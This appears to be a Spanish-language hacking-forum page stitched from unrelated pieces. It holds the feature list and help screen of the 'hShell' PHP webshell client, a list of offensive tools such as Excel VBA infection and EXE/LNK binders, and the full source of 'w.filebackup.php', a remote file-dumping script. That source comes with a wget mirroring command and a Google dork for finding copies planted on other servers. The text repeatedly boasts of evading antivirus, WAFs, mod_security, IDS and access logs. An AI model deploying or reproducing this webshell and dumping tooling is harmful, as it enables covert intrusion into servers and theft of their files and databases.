• El núcleo de todo el código está en el cliente y no en el servidor.
• No deja rastros de la ejecución en el servidor ya que el código no se guarda.
• No necesita actualizaciones del lado del servidor o intervenir el código en cada cambio.
• El código es transportado y no almacenado previniendo la detección de los antivirus.
• El transporte del código está ofuscado evadiendo la detección de los WAF.
• El transporte de datos se realiza vía HTTP / POST previniendo dejar rastros en los logs de accesos del servidor WEB.
• Utilización de payloads al azar en el transporte del código para la prevención de la detección de los WAF.
• Soporta grandes transferencias de datos utilizando el transporte multipart/form-data sin almacenamiento del buffer en memoria por más de 1024 bytes del lado del cliente y del servidor.

php cliente.php

hShell:/> help
      Command             | Description
     ────────────────────────────────────────────────────────────── 
      connect [url]       : Connect to Server WebShell script.
      help                : Show help of the client.
      cat                 : Show the content of remote file.
      tail [file path]    : Read the last lines of specific file.
      cd [directory]      : Navigate to specific remote directory.
      shell [command]     : Execute a simple command in remote server using the           current remote path. Detect automatic available method on the server. See the call-exec command. Alias of exec and system commands.
      force-shell [method] [command] : Force execute a simple command in remote server using an specific php method in current path. Alias of force-exec and force-system commands. Available methods: system, exec, shell_exec, passthru, popen, proc_open, explicit (using double quotes `).
      edit [editor command] [file path] : Edit remote file with specific local command edtor, example: edit vi /etc/shadow
      nano [file path]    : Edit remote file with nano editor on the local system.
      vi [file path]      : Edit remote file with vi editor on the local system.
      vim [file path]     : Edit remote file with vim editor on the local system.
      gedit [file path]   : Edit remote file with gedit editor on the local system.
      notepad [file path] : Edit remote file with notepad editor on the local system.
      sublime [file path] : Edit remote file with sublime text editor on the local system.
      uninstall           : Uninstall the current WebShell on the server.
      install [file path] : Install the WebShell on the specific remote parh.
      mysql [host] [port] [user] [password] : Start an interative MySQL shell connection on the remote server.
      mysqldump [host] [port] [user] [password] [local file] : Make a dump from remote database to local file .sql
      download [remote path] [local path] : Download a backup of file or directory from server to local path.
      upload [local path] [remote path] : Upload a local file or directory to remote directory (maintains the same permits)
      rm [path]           : Delete the specific file or directory path.
      mkdir [path]        : Make a directory on the server.
      phpinfo             : Show the full info of the php, libraries and enviroments of the server.
      id                  : Show the full info of the current user and group on the server.
      ls                  : List files and folders of the current path on the server. Alias of ll and dir commands.
      shellpath           : Show the current local path of the WebShell server.
      pwd                 : Show the current local path on the server.
      uname               : Show the full info of the System Operative of the server.
      exit                : Exit of the client but not remove the WebShell on the server. See uninstall.  Alias of quit command.

• LeandroA : Infección de archivos Excel a través de VBA.
• WHK : w.filebackup (respaldador de archivos remoto automatizado)
• Flamer : Unir Archivos Exe,Vbs y Bat a Un Acceso Directo lnk
• Panic:~ : JSP Shell Gtx100
• 3n31ch : MySQL Injector
• 3n31ch : Editor de diccionarios de claves
• kub0x : S.P.O.K (Simple Production Of Keys)
• animanegra : SSHreflecter

wget -r -x -nH -np --cut-dirs=1 --no-check-certificate --post-data 'token=1' -e robots=off -U 'User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.02011-10-16' http://example.com/w.filebackup.php

<?php
/* w.filebackup.php V1.0 for Administrators by WHK
 *
 * Email: whk@elhacker.net
 * Website: http://whk.elhacker.net/
 * 
 * Uso Bash:
 * --------
 * 		mkdir page && cd page
 * 		wget -r -x -nH -np --cut-dirs=1 --no-check-certificate --post-data 'token=1' -e robots=off -U 'User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.02011-10-16' http://example.com/w.filebackup.php
 * 		rm -rf w.filebackup.php*
 * 
 * Uso WEB:
 * --------
 *		http://web.page/w.filebackup.php
 * 
 * Al enviar la variable "token" via HTTP/POST restringe la visualización
 * de los directorios hasta la ruta actual del script, esto evita que el
 * respaldo salga fuera del directorio planeado y cause una sobrecarga.
 * Solo utilizar sin esta variable en caso de querer hacer una backup
 * extrema con mucho tiempo libre.
 * 
 * GoogleDork:
 * ----------
 * inurl:".php?do=/" + intitle:"index of"
 * 
 * Legal:
 * -----
 * Uso esclusivo sobre servidores propios, nunca utilizar en servidores sin el consentimiento del administrador.
 * El usuario es totalmente responsable de su utilización.
 * En caso de no aceptar este acuerdo no debe ser utilizado.
 * 
 * Compatible:
 * ----------
 * Este Script es compatible con servidores con safe mode en ON, servidores sin
 * zlib, sin gz, servidores que no tienen acceso a la shell del sistema, servdiores
 * con mod evasive y mod security, servdiores con firewalls y Antivirus antiShells.
 * No se asegura su funcionalidad al 100% debido a posibles reglas de protección que
 * impidan su normal funcionamiento.
 */
if($getPath = substr($_SERVER['PHP_SELF'], strlen($_SERVER['SCRIPT_NAME']))){
 
	/* Procesa el archivo */
	if(is_file($getPath)){
 
		/* Obtiene el tipo MIME */
		if(function_exists('mime_content_type')) {
			$mime = mime_content_type($getPath);
		}elseif(function_exists('finfo_file')){
			$info = finfo_open(FILEINFO_MIME);
			$mime = finfo_file($info, $getPath);
			finfo_close($info);
		}
		if(!$type)
			$mime = 'application/force-download';
		/* Establece las cabeceras */
		header('Content-Type: '.$mime);
		header('Content-Disposition: attachment; filename='.basename($getPath));
		header('Content-Transfer-Encoding: binary');
		header('Content-Length: '.filesize($getPath));
		/* Hacia el infinito y mas allá! */
		if(!@ini_get('safe_mode'))
			@set_time_limit(0);
		/* readfile($getPath); que sucede cuando el archivo es mas grande que 
		 * la capacidad de memoria ram asignada en php.ini como un iso, un gz
		 * con una backup de cpanel o un video? */
		if($handle = fopen($getPath, 'r')){
 
			/* utiliza bloques de 4kb en modo binario para no corromper el
			 * contenido a descargar y evitar el uso desmedido de la memoria ram
			 * y evitar el activado de alarmas de IDS y Firewalls */
			while(($buffer = fgets($handle, 4096)) !== false)
				echo $buffer;
			fclose($handle);
		}
		exit;
	/* Procesa el directorio */
	}elseif(is_dir($getPath)){
		$absolutePath = $getPath;
	/* Si no es archivo ni directorio que es? */
	}else /* 404 */
		$err = 'File not found or access denied ( '.$getPath.' ).';
}
/* Utiliza variables que no sean tan fáciles de incluir en un
 * mod security o alguna regla del firewall (do es utilizado
 * por vbulletin). */
if(isset($_GET['do']) and (is_dir($_GET['do'])))
	$absolutePath = $_GET['do'];
if((!isset($absolutePath)) or (!$absolutePath))
	$absolutePath = dirname(__file__).'/';
/* Restringe la URL si se solicita */
if(isset($_POST['token']) and (strlen($absolutePath) < strlen(dirname(__file__).'/')))
	$absolutePath = dirname(__file__).'/';
$items = array(
	'glob'		=> array(),
	'folders'	=> array(),
	'files'		=> array()
);
// if($items['glob'] = glob($absolutePath.'*')){ glob() no encuentra los archivos ocultos como .htaccess
if($items['glob'] = scandir($absolutePath)){
	foreach($items['glob'] as $item){
		if(!in_array($item, array('.','..'))){
			if(is_dir($absolutePath.$item))
				$items['folders'][] = $absolutePath.$item.'/';
			else
				$items['files'][] = $absolutePath.$item;
		}
		unset($item);
	}
}
unset($items['glob']);
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html>
	<head>
		<title>Index of <?php echo htmlspecialchars($absolutePath, ENT_QUOTES); ?></title>
	</head>
	<body>
		<h1>Index of <?php echo htmlspecialchars($absolutePath, ENT_QUOTES); ?></h1>
		<?php if(isset($err)){ ?>
			<p><b><i><?php echo htmlspecialchars($err, ENT_QUOTES); ?></i></b></p>
		<?php } ?>
 
		<ul>
			<?php if(!isset($_POST['token'])){ ?>
				<li>
					<a href="<?php echo $_SERVER['SCRIPT_NAME'].dirname(substr($absolutePath, 0, -1)); ?>/"> Parent Directory</a>
				</li>
			<?php } ?>
 
			<?php if($items['files']){ ?>
				<?php foreach($items['files'] as $file){ ?>
					<li>
						<a href="<?php echo $_SERVER['SCRIPT_NAME'].$file; ?>"> <?php echo htmlspecialchars(basename($file), ENT_QUOTES); ?></a>
					</li>
				<?php } ?>
			<?php } ?>
 
			<?php if($items['folders']){ ?>
				<?php foreach($items['folders'] as $folder){ ?>
					<li>
						<a href="<?php echo $_SERVER['SCRIPT_NAME'].'?do='.urlencode($folder); ?>"><?php echo htmlspecialchars(basename($folder), ENT_QUOTES); ?>/</a>
					</li>
				<?php } ?>
			<?php } ?>
 
		</ul>
 
		<address>
					<?php echo htmlspecialchars($_SERVER['SERVER_SOFTWARE'], ENT_QUOTES); ?> Server
			at		<?php echo htmlspecialchars($_SERVER['HTTP_HOST'], ENT_QUOTES); ?>
			Port	<?php echo (int)$_SERVER['SERVER_PORT']; ?>
		</address>
	</body>
</html>
 
<?php
/* Evita la ejecución arbitraria por un LFI o <preppendfile> */
exit;